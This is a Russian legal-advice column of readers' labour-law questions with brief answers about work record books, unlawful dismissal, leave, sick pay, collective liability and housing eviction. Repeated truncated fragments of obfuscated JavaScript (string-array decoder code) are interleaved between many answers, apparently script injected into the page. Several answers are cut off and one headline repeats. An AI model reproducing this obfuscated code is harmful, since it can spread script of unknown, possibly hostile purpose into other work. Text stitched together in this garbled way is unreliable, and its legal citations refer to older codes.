Новости
Лазарев Виктор
Я потеряла трудовую книжку. Бланк новой трудовой книжки приобрела в одном из переходов столичного метро. Администрация предприятия, к которой я обратилась с просьбой заполнить эту трудовую книжку с указанием моего трудового стажа, мне отказала. Правильно ли она поступила?В. Симоненко, Красногорск Московской области.
Да, администрация поступила правильно. Вопросы выдачи новой трудовой книжки (в данном случае - дубликата) регулируются инструкцией о порядке ведения трудовых книжек. С этим документом можно ознакомиться в отделе кадров предприятия или в любой юридической консультации.
Что касается приобретенного вами бланка трудовой книжки, то в соответствии с действующим законодательством (ст. 327 УК РФ) за сбыт отдельными гражданами государственных бланков (в том числе и бланков трудовых книжек) предусматривается уголовная ответственность.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Федеральный закон об основах охраны труда РФ и новый Трудовой кодекс устанавливают правовые основы регулирования отношений в области охраны труда между работодателями и работниками. Прошу сообщить, за счет каких средств должны осуществляться мероприятия по охране труда.В. Захаров, Хабаровск.
Финансирование мер по улучшению условий и охраны труда осуществляется в рамках федеральных, отраслевых и территориальных целевых программ улучшения условий и охраны труда за счет средств федерального бюджета, бюджетов субъектов Российской Федерации, местных бюджетов, внебюджетных источников в порядке, предусмотренном законодательством РФ, законодательством субъектов Российской Федерации и нормативными правовыми актами представительных органов местного самоуправления.
Финансирование мероприятий по улучшению условий и охраны труда осуществляется также за счет:
- средств от штрафов, взыскиваемых за нарушение законодательства РФ о труде...
Если в трудовой книжке зафиксированы неточные сведения или, к примеру, внесена запись об увольнении, которое позже признали незаконным, то как исправляются такие записи?В. Поливанов,пос. Балашиха Московской области.
Исправленные сведения о работе, переводах, награждениях и поощрениях должны полностью соответствовать подлиннику приказа или распоряжения. В случае утраты приказа или распоряжения либо несоответствия их фактически выполнявшейся работе исправление сведений производится на основании архивных материалов, отражающих трудовую деятельность работников: личных карточек, расчетных ведомостей, лицевых счетов по заработной плате и т.д. Свидетельские показания в данном случае во внимание не принимаются. Зачеркивать ранее внесенные неточные или исправленные записи тоже нельзя.
При необходимости, например, изменения записи о работе после указания...
В связи с изменением графика движения пригородных поездов я опоздал на работу, за что на меня было наложено дисциплинарное взыскание - лишили отпуска в установленный по графику срок. Я обратился в комиссию по трудовым спорам (КТС), которая отказала мне в рассмотрении заявления, ссылаясь на то, что данные вопросы подлежат рассмотрению только в народном суде. Справедливо ли наложенное на меня взыскание и права ли комиссия по трудовым спорам, отказавшись рассмотреть указанное заявление?С. Харитонов, Смоленск.
Администрация грубо нарушила действующее трудовое законодательство, наложив на вас дисциплинарное взыскание в виде лишения отпуска в установленный по графику срок. Такие виды дисциплинарных взысканий действующим законодательством не предусмотрены.
Что касается вашего обращения в комиссию по рассмотрению трудовых споров, то ее отказ в рассмотрении данного спора также является неправильным. Непосредственно в суде могут рассматриваться указанные трудовые споры лишь в тех случаях, где КТС не избираются или почему-либо не созданы.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Я учительница. В очередном отпуске заболела, и в связи с этим мой отпуск был продлен. Однако до окончания отпуска администрация вызвала меня на работу, где я и проработала весь сентябрь. Заработную плату за это время я не получила, а компенсацию за неиспользованный отпуск у меня вычли из последующей зарплаты.Правильно ли поступила администрация и что мне делать сейчас? (А. Медведева, Коркино Челябинской области).
Продлив очередной отпуск, администрация поступила правильно, так как в соответствии с действующим законодательством в случае заболевания работника в период нахождения в очередном отпуске последний подлежит продлению на число дней временной нетрудоспособности.
Что касается последующих действий администрации, то они противоречат действующему законодательству, так как досрочный вызов из отпуска допускается в исключительных случаях и только с согласия работника. Отказ работника от выхода на работу при досрочном вызове из отпуска не является нарушением трудовой дисциплины. За сентябрь месяц вам должны выплатить заработную плату на общих основаниях,...
Я была уволена с работы, на мой взгляд, безо всяких оснований. И даже от расстройства заболела после этого, потому и не смогла обратиться в суд с жалобой на незаконное увольнение. Можно ли это сделать сейчас? (Ю.Холикова, Плавск).
Жалоба на неправильное увольнение может быть рассмотрена в народном суде. Для этого установлен месячный срок. Если работник пропустил установленный срок, то это не является основанием для отказа в приеме жалобы. В судебном заседании суд рассматривает причины пропуска искового срока, и если установит, что этот срок был пропущен по уважительной причине, то восстанавливает его и рассматривает жалобу по существу.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
У меня заболел сын, врач выдала больничный на две недели. Но мне кажется, что мальчик пока не выздоровел окончательно... На какой срок выдается больничный по уходу за членом семьи и еще - при карантине? (В. Пронысина, Кемерово).
Пособие по уходу за заболевшим членом семьи и детьми старше 15 лет выдается не более чем на 3 календарных дня. Продление срока производится лишь в исключительных случаях - в зависимости от тяжести заболевания члена семьи и не более чем до 7 календарных дней в общей сложности.
При карантине в случае амбулаторного лечения ребенка в возрасте до 7 лет пособие по временной нетрудоспособности выдается на весь период его болезни. А когда ребенок старше (до 15 лет), то не более чем на 15 дней, если по медицинскому заключению не требуется большого срока.
Пособие при карантине выдается в том случае, когда работник отстраняется от работы органами...
В связи с многочисленными случаями пропажи продукции, производимой на нашем предприятии, администрация обязала всех работников заключить с ней договор о коллективной материальной ответственности. Прошу сообщить, вправе ли администрация требовать от всех работников заключения указанного договора и каким законодательством регулируется данный вопрос? (В. Мамедов, Саратов).
В соответствии с действующим законодательством (ст. 1212 КЗоТ) договор о коллективной материальной ответственности может вводиться только при совместном выполнении работниками работ, связанных с хранением, обработкой, продажей (отпуском), перевозкой или применением в процессе производства переданных им ценностей, когда невозможно отграничить материальную ответственность отдельного работника и заключить с ним договор о полной материальной ответственности.
Коллективная материальная ответственность устанавливается администрацией по согласованию с профсоюзным органом организации.
Стороной, несущей коллективную материальную ответственность,...
Наше предприятие временно приостановило свою производственную деятельность, а всем работникам администрация предоставила отпуск. Можно ли получить на руки трудовую книжку, если, положим, она понадобилась для переговоров о переходе на другую работу? (Т. Пашинская, Кострома).
Выдача трудовой книжки работнику предусматривается только при увольнении. Во всех остальных случаях ее выдача на руки запрещена. Администрация может выдать работнику лишь заверенную выписку сведений о работе.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else...
После моего увольнения и восстановления судом на прежней работе с выплатой зарплаты за время вынужденного прогула администрация издала приказ о зачислении меня на прежнюю работу, но не на постоянную. А всего-навсего на три месяца, т.е. фактически заключила со мной без моего согласия срочный трудовой договор (контракт). Я считаю, что в данном случае грубо нарушено действующее законодательство. (А.Яковлева, г. Гороховец).
Вы правы. В вашей ситуации налицо нарушение статьи 5 КЗоТа РФ, согласно которой условия договора о труде, ухудшающие положение работника по сравнению с законодательством о труде, являются недействительными. Усматривается также нарушение части II статьи 17 КЗоТа РФ, где сказано, что срочный трудовой договор (контракт) заключается лишь в тех случаях, когда трудовые отношения не могут быть установлены на неопределенный срок с учетом характера предстоящей работы.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return...
Перед работой я переоделся в спецодежду, свои пальто, шляпу, обувь, сдал в гардероб предприятия. И вот они там пропали, а администрация не желает возмещать мне понесенный урон. Что делать? (М. Берзин, Ярославль).
Вам, Михаил Иванович, придется, видимо, идти в суд, если спор не решится миром. Попробуйте в переговорах с начальством по поводу кражи одежды сослаться на статью 924 Гражданского кодекса РФ, где сказано, что администрация предприятия обязана принять все меры для сохранения имущества, сданного в гардероб.
В случае, если ответственные лица будут упорствовать и не захотят нести материальную ответственность, придется обращаться в суд. В исковом заявлении нужно ссылаться на ту же 924-ю статью ГК РФ.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Приговором суда я был лишен права занимать должность главного бухгалтера. Обязана ли администрация как-то реагировать на этот приговор? (В. Осипов, Волоколамск).
Безусловно, в соответствии со статьей 34 Уголовно-исполнительного кодекса Российской Федерации требования приговора о лишении права занимать определенные должности или заниматься определенной деятельностью обязательны для администрации организации, в которой работает осужденный. И она обязана:
- не позднее трех дней после получения копии приговора суда освободить осужденного от должности, занимать которую он лишен права, и направить в уголовно-исполнительную инспекцию сообщение об исполнении требований приговора;
- в случае увольнения осужденного, срок наказания которого не истек, внести в его трудовую книжку запись о том, на каком основании,...
Меня принимают на работу с условием, что я должна пройти производственное обучение. Хотелось бы знать: отведенные для этого часы входят в норму рабочего времени? (Г.Медведева, Москва).
Статья 185 КЗоТ РФ предусматривает, что теоретические занятия и производственное обучение при подготовке новых работников непосредственно на производстве путем индивидуального, бригадного и курсового обучения проводится в пределах рабочего времени.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else...
У нас с начальством возник спор по поводу того, что рабочих крайне плохо обеспечивают бушлатами и валенками. Администрация ссылается на отсутствие средств. Что вы могли бы нам посоветовать при отстаивании своих прав? (В.Янаев, С.Кулешов, Ю.Захаров и другие, Дудинка).
Для начала попробуем просветить вас относительно тех правовых актов, которые регулируют данный спорный вопрос. 18 декабря 1998 года постановлением Министерства труда и социального развития РФ N 51 были утверждены новые Правила обеспечения работников специальной одеждой, спецобувью и другими средствами индивидуальной защиты (вместо ранее действовавшей Инструкции 1983 года).
29 сентября 1999 года постановлением Министерства труда и социального развития РФ N 39 Правила, утвержденные 18 декабря 1998 года, были несколько дополнены, и в них, в частности, предусматривается финансирование затрат, связанных с обеспечением рабочих спецодеждой,...
После длительной работы я была уволена с предприятия по сокращению штатов, хотя сокращения как такового фактически не было. Суд восстановил меня, однако начальство не выполнило решение суда, появился приказ о зачислении меня на совершенно иную работу с меньшей зарплатой. Это законно?А. Сидорова, Орел.
В данном случае администрация нарушила статьи 24 и 25 КЗоТ РФ, согласно которым запрещается требовать от работника выполнения обязанностей, не обусловленных трудовым договором, а также переводить его на другую работу без его согласия (за исключением отдельных случаев, предусмотренных в законе).
Вас обязаны восстановить на прежней работе и выплатить заработную плату за все время вынужденного прогула. Не захотят это сделать по-хорошему, опять обращайтесь в суд. Есть еще и такой орган, как областное отделение Рострудинспекции. Обычно в этой инстанции очень успешно решают дела, в которых незаслуженно пострадавшей стороной является работник.
function...
С августа 1956 года по август 1966 года я отбывал наказание по приговору военного трибунала сначала в исправительно-трудовой колонии, потом в колонии поселений, документы о работе у меня сохранились. В 1966 году при оформлении пенсии мне не засчитали годы труда в заключении, а ведь я там не "сидел", как принято говорить, а работал на лесоповале. (Ф.Самитуллин, Казань).
Мы рекомендуем вам обратиться в пенсионный орган с заявлением о перерасчете пенсии с учетом работы в местах лишениях свободы. С 1 июля 1997 года введен в действие Уголовно-исполнительный кодекс РФ, а ранее действовавшие нормативные акты, на основании которых время вашей работы "в зоне" не вошло в стаж, признаны утратившими силу. В статье 104 этого кодекса говорится: время привлечения осужденных к оплачиваемому труду засчитывается им в общий трудовой стаж. Учет отработанного в местах лишения свободы времени возлагается на администрацию исправительного учреждения и производится по итогам календарного года. И только в единственном случае...
Мы заняты на разъездной работе, требующей большого внимания и связанной с риском для жизни. График такой: сутки работаем, трое отдыхаем. Прежде трудились с 9 утра до 9 утра следующего дня. Теперь - с 22 часов до 22 часов следующего дня, то есть после ночи мы еще 16 часов работаем. Правда, в ночные часы предоставляется двухчасовой отдых, но его невозможно использовать. Правомерны ли действия администрации? (В. Сергеев, Москва).
Администрация не имеет права устанавливать новые графики работ (смен) самостоятельно. Законодательство о труде (статья 42 КЗоТ РФ) устанавливает норму рабочего времени не более 40 часов В НЕДЕЛЮ, а продолжительность ЕЖЕНЕДЕЛЬНОГО непрерывного отдыха должна быть не менее сорока двух часов (статья 59 КЗоТ РФ). Время ЕЖЕДНЕВНОЙ работы (смены), равно как и время начала и окончания ее, определяются правилами внутреннего трудового распорядка или графиками сменности, которые хоть и утверждаются администрацией, но только ПО СОГЛАСОВАНИЮ с соответствующим выборным профсоюзным органом предприятия и с учетом МНЕНИЯ ТРУДОВОГО КОЛЛЕКТИВА. В соответствии...
В августе 1989 года я купила дом в деревне. Все документы надлежащим образом оформил сельсовет. Сейчас решила прописаться в этом доме. Для прописки нужно подать заявление в БТИ на регистрацию дома, участка. Стоимость этой регистрации 700 рублей. Правомерно ли это? (М. Запорожцева. Кораблинский сельсовет, Рязанская область).
С 21 января 1998 года введен в действие Закон РФ "О государственной регистрации прав на недвижимое имущество и сделок с ним". Конечно, закон этот обратной силы не имеет, и вряд ли возникнет необходимость новой регистрации недвижимости, приобретенной много лет назад, тем более что в пункте I статьи 6 Закона прямо записано, что "права на недвижимое имущество, возникшее до момента вступления в силу настоящего закона, признаются ЮРИДИЧЕСКИ ДЕЙСТВИТЕЛЬНЫМИ даже и при отсутствии государственной регистрации, введенной настоящим законом", а государственная регистрация прав, осуществляемая РАНЕЕ в субъектах РФ и в муниципальных образованиях,...
Я была уволена с работы, а потом восстановлена по решению суда. Имею ли я право получить заработную плату за все время прогула, если администрация обжаловала решение суда в вышестоящую судебную инстанцию? (Е. Жилина, Москва).
Решение о восстановлении на работе незаконно уволенного или переведенного на другую работу работника, принятое органом по рассмотрению трудовых споров, подлежит немедленному исполнению.
Поэтому работник должен быть восстановлен на прежней работе на следующий день после вынесения решения суда - не дожидаясь, когда оно вступит в законную силу, и независимо от того, согласен с этим работодатель или нет (см. ст. 215 КЗоТ).
Если администрация задерживает исполнение решения суда о восстановлении на работе незаконно уволенного или переведенного работника, тогда суд не только выносит определение о выплате ему среднего заработка или разницы в...
Мы приехали в город Лиски из Киргизии. На деньги, которые выручили от продажи квартиры, не смогли купить жилье. Я устроился на железную дорогу, с большим трудом сумел получить от отделения дороги комнатку в бараке. Но дело в том, что нас поселили туда без прописки, хотя и официально. Есть разрешение начальника отделения дороги. Сейчас этот барак, где мы проживаем, включен в список сноса. Есть ли у нас шанс получить жилье? (А. Ермилов, письмо получено по электронной почте).
В статье 91 Жилищного кодекса РФ говорится, что если дом, в котором находится жилое помещение, подлежит сносу, то граждане выселяются отсюда только с предоставлением другого жилого помещения. Поскольку вы получили жилье по распоряжению официальных лиц, при выселении вам обязаны предоставить другое благоустроенное жилое помещение. Выселение без предоставления жилья незаконно.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Мы живем в поселке, дома стоят совсем рядом. У каждого хозяина - по собаке. Лают всю ночь. Спать невозможно. Обращалась с жалобой в администрацию, но у них нет на сей счет никаких законов. (Т. Гайфуллина, Казань).
Российское законодательство, учитывая принципы гуманного отношения к животным, не допускает под страхом уголовной ответственности жестокого с ними обращения, но в то же время предусматривает обязанность органов местного самоуправления и представительных органов власти на местах издавать правила содержания собак и других домашних животных. В них-то и должны учитываться не только интересы владельцев животных, но и граждан, проживающих рядом. Кроме того, существует статья 102 Кодекса об административных правонарушениях, которая устанавливает штрафные санкции за нарушение правил содержания собак и кошек в городах и других населенных пунктах.
function...
ПРИГОВОР СУДА - В ТРУДОВОЙ КНИЖКЕ
Работник по технике безопасности лишен права занимать
ПРИГОВОР СУДА - В ТРУДОВОЙ КНИЖКЕ
Работник по технике безопасности лишен права занимать определенную должность в течение трех лет. Должно ли это наказание указываться в трудовой книжке? (Т. Денисова, Курск).
Да, должно. Администрация предприятия не позднее следующего дня после получения копии приговора прекращает в порядке, предусмотренном законом, трудовой договор с осужденным, занимающим должность, право на которую он утратил, и вносит в его трудовую книжку запись о том, на каком основании, на какой срок и какие должности он лишен права занимать или какого рода деятельностью не имеет права заниматься - в строгом соответствии с приговором...
